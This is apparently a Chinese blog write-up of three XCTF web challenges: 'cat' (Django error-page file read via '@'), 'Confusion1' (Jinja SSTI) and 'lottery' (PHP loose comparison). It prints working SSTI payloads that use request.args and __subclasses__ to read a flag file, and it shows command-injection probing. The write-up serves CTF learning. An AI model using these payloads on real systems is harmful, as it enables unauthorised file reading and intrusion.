攻防世界 cat、Confusion1、lottery

cat

进入环境让输入域名测试baidu.com无反应

攻防世界 cat、Confusion1、lottery_第1张图片

然后ping 127.0.0.1有回显

攻防世界 cat、Confusion1、lottery_第2张图片

测试管道符拼接命令执行

攻防世界 cat、Confusion1、lottery_第3张图片

但是回显都是Invalid URL FUZZ测试以下

攻防世界 cat、Confusion1、lottery_第4张图片

发现只有@可以使用当输入@的时候会将@url编码为%40

那我尝试输入一个十六进制值让这个十六进制值大于url编码范围看看会出现什么结果(url十进制范围0-127)

攻防世界 cat、Confusion1、lottery_第5张图片

攻防世界 cat、Confusion1、lottery_第6张图片

出现了一些报错信息我们将这些html代码复制来看看

攻防世界 cat、Confusion1、lottery_第7张图片

发现了是Django的报错界面,做到这一步,联想到前面的@字符没有被过滤,比赛的时候有个提示

攻防世界 cat、Confusion1、lottery_第8张图片

这边的大体意思就是结合@可以读取内容我们去那个报错页面发现Djangod的绝对路径

攻防世界 cat、Confusion1、lottery_第9张图片

django项目下一般有个settings.py文件是设置网站数据库的路径,所以我们去读取settings文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。

攻防世界 cat、Confusion1、lottery_第10张图片

同样出现html报错信息我们另存为html用浏览器打开看一下

攻防世界 cat、Confusion1、lottery_第11张图片

发现关键信息用@读取数据库信息

在这里插入图片描述

这样我们就发现了flag

Confusion1

进入环境进入regesiter模块结果返回个not found

攻防世界 cat、Confusion1、lottery_第12张图片

但查看源码发现点提示

攻防世界 cat、Confusion1、lottery_第13张图片

感觉是有点像SSTI模板注入的意思在里面了测试一下
攻防世界 cat、Confusion1、lottery_第14张图片

{{7*7}}

确定为模板注入

先使用常规方法试试

{{''.__class__.__mro[2]__.__subclasses__()}}

不行应该是过滤了东西
攻防世界 cat、Confusion1、lottery_第15张图片

{{url_for.__globals__}}

还是不行(权限不够)

攻防世界 cat、Confusion1、lottery_第16张图片

那我们先看看config吧

{{config}}
The requested URL /register.php was not found on this server.

尝试request

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

攻防世界 cat、Confusion1、lottery_第17张图片

有了结合信息收集到的flag路径我们将他读出来即可

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

这样我们成功拿到了flag

攻防世界 cat、Confusion1、lottery_第18张图片

lottery

进入题目是一个类似于买彩票的东西我们先去注册个账号,然后发现可以buy flag,大概理解题目意思,我们要么只能在买彩票的时候让我们中大奖要么只能改变自己的余额,原题目应该使用dirsearch扫描发现git泄露然后使用Githack复原的但是攻防世界这边直接把源码给了我们

源码中关键函数在api.php中在api.php中我们注意到requests是json格式的

header('Content-Type: application/json');

我们重点来看buy函数

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

其中win_numbers中的数字是随机生成0-6的数字,然后和用户输入的数字进行比较如果达到几个相同就返回对应的奖金给他,这里可以使用php弱类型比较(当然欧皇除外),当true和一个数字或一个字母比较的时候永远返回true,在购买彩票的时候我们进行抓包

攻防世界 cat、Confusion1、lottery_第19张图片

然后我们多发几次直到钱够买flag

攻防世界 cat、Confusion1、lottery_第20张图片

成功购买到flag

你可能感兴趣的:(ctf刷题纪,django,python,后端,web安全)